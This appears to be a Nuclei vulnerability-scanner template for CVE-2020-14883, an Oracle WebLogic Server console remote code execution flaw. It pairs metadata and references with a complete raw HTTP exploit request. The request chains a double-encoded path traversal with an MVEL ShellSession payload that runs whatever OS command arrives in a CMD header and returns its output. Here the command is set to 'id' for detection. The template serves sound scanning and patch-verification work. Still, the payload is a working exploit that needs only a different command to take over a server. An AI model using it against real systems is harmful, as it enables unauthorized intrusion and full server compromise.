id: CVE-2020-14883

info:
  name: Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
  author: pdteam
  severity: high
  description: The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
  reference:
    - https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
    - https://www.oracle.com/security-alerts/cpuoct2020.html
    - http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2020-14883
  tags: cve,cve2020,oracle,rce,weblogic,cisa

requests:
  - raw:
      - |
        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
        Host: {{Hostname}}
        Accept-Language: en
        CMD: {{cmd}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip, deflate

        test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')

    payloads:
      cmd:
        - id

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "ADMINCONSOLESESSION"

      - type: word
        part: body
        words:
          - 'uid='
          - 'gid='
          - 'groups='
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"

# Enhanced by mp on 2022/04/20